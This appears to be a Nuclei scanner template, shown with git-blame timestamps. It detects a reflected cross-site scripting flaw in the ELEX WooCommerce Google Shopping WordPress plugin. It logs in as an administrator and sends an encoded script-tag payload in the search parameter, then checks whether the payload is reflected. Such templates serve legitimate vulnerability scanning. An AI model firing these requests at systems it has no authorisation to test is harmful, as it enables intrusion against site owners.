nuclei-templates/vulnerabilities/wordpress/elex-woocommerce-xss.yaml

41 lines
1.3 KiB
YAML
Raw Normal View History

2022-02-19 11:31:47 +00:00
id: elex-woocommerce-xss
info:
name: ELEX WooCommerce Google Shopping < 1.2.4 - Reflected Cross-Site Scripting (XSS)
author: dhiyaneshDk
severity: medium
description: The plugin does not sanitise or escape the search GET parameter before outputting back in the page, leading to a reflected Cross-Site Scripting issue, which will be executed in a logged in admin context.
reference: https://wpscan.com/vulnerability/647448d6-32c0-4b38-a40a-3b54c55f4e2e
2022-02-22 08:20:29 +00:00
tags: wordpress,wp-plugin,xss,wp,woocommerce
2022-02-19 11:31:47 +00:00
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
2022-02-22 08:20:29 +00:00
GET /wp-admin/admin.php?page=elex-product-feed-manage&search=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
2022-02-19 11:31:47 +00:00
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-02-22 08:20:29 +00:00
- "</script><script>alert(document.domain)</script>"
2022-02-19 11:31:47 +00:00
- type: word
part: header
words:
- text/html
- type: status
status:
- 200